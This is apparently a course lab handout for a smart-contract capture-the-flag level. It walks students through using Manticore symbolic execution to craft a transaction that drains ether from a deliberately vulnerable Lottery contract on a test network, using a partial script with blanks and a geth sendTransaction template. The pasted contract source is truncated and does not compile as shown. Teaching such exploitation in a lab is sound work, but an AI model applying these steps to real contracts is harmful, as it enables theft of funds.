In this level, you will employ the Manticore symbolic execution engine to automatically generate a transaction that will solve the Lottery CTF level. You will then be able to directly submit solutions to the CTF framework using geth.

What you'll need

Connect back into VM you installed geth and manticore into. Within the VM, re-attach to your tmux session (or recreate it using the directions from the previous lab)

tmux attach

Ideally, you should have at least 3 sessions.

geth  --allow-insecure-unlock --syncmode light --ropsten --rpcapi admin,eth,net,web3,personal --nousb --rpc --rpcaddr 
geth attach

In this level, the exploit involves finding the winning lottery number that will allow us to grab all of the ether. The source code should make it obvious which function we need to target.


contract Lottery{

    using SafeMath for uint256;

    uint256 public totalPot;

    constructor(address _ctfLauncher, address _player) public payable
        totalPot = totalPot.add(msg.value);
    function() external payable{
        totalPot = totalPot.add(msg.value);

    function play(uint256 _seed) external payable{
        require(msg.value >= 1 finney, "Insufficient Transaction Value");
        totalPot = totalPot.add(msg.value);
        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
        bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
        bytes32 guess = keccak256(abi.encodePacked(_seed));
            uint256 payout = totalPot;
            totalPot = 0;

In this example, we've setup the manticore symbolic executor to inspect the Lottery contract for critical endpoints and we've told it that it needs to find an input where our attacker gets all of the ether from the victim contract. The first things you will need to replace are the values of the variables contract_balance and msg_value. The contract_balance field needs to match how much ether is in the CTF contract. The msg_value field needs to have enough ether to send a message to the function in the attacking contract. Look closely at the vulnerable function in SI_ctf_levels/lottery.sol to be able to come up with a value.


# We need to know how much ether is in the contract. This value will be an int and is in wei
contract_balance = ???

# We need to give our contract a msg value. This value will be in wei
msg_value = ???

The next thing we will need to figure out is the size of our symbolic buffer. Remember that four bytes is needed for the function hash, plus any additional bytes to account for the function parameters. In the vulnerable function, pay close attention to the size of the function parameters.

Next, we will send the transaction to the CTF. Notice how a value is specified in the value field.

Lastly, we will explore the running states and return a geth transaction if the balance in the state can equal the amount of ether we placed into our virtual contract - both the contract balance and the message value. That is to say, our virtual contract was able to retrieve all its ether back.

# This will be our data constraint in our transaction
buff = m.make_symbolic_buffer(???)
# Now, we constrain the execution with a transaction
m.transaction(caller=user_account, address=contract_account.address, data=buff, value = msg_value, gas=gas)
# for states that are still running (haven't reverted due to our transaction constraint) let's iterate through them and see if any allow for an exploit
for state in m.running_states:
   # this is just some silly manticore stuff
   world = state.platform
   # stealing back all the ether is a good way of proving that an exploit exists
   if state.can_be_true(world.get_balance(user_account.address) == contract_balance + msg_value):
       state.constraints.add(world.get_balance(user_account.address) == contract_balance + msg_value)
       result = state.solve_one(buff)
       # print out our transaction
       print("eth.sendTransaction({data:\"0x"+binascii.hexlify(result).decode('utf-8')+"\", from:\""+ hex(from_address) +
           "\", to:\""+hex(si_level_address)+"\", value:"+str(msg_value)+", gas:"+str(gas)+"})")
       # this prints the exploit out in a format that you can easily paste into geth to win
       sys.exit(0) # we only needed one state!
   print('No state found')

Now, inside your tmux shell, you can run the manticore script. Ensure that you use the correct address for the CTF level and your own wallet address for the fields in red (these fields can also be supplied by editing the script itself).

cd manticore_scripts
python3 0xYourWalletAddress 0xCtfLevelAddress

This will attack the SI level in SI_ctf_levels/Lottery.sol on the container and find an exploit that solves it. Take a screenshot of the Manticore script output with the transaction.

You can reverse the attack that the manticore script spits out and put the arguments into Remix, or you can directly paste it into geth's sendTransaction function to win the level automatically. In order to do this, you have to utilize the geth light node set up previously. (Note: that it must be fully synced to handle the transaction you will send it and you will need to have imported your wallet into it for it to use to sign transactions from your address)

In your interactive geth session, unlock the wallet you previously instantiated:


You can now send the transaction that Manticore generated for you.

eth.sendTransaction({data:"???", from:"???", to:"???", value:"???", gas:100000})

Screenshot the output (i.e. the resulting transaction hash), then paste the transaction hash into Etherscan and show a screenshot of it showing the transfer from the CTF level contract back to your wallet. Include both in your lab notebook. You do not need to commit the code into Bitbucket.

If your transaction takes a long time, try upping the gas price. This should complete the CTF level, reducing the contract to 0 ether.

Congratulations on applying symbolic execution to automatically retrieve money from this smart contract. Continue to the next level for more!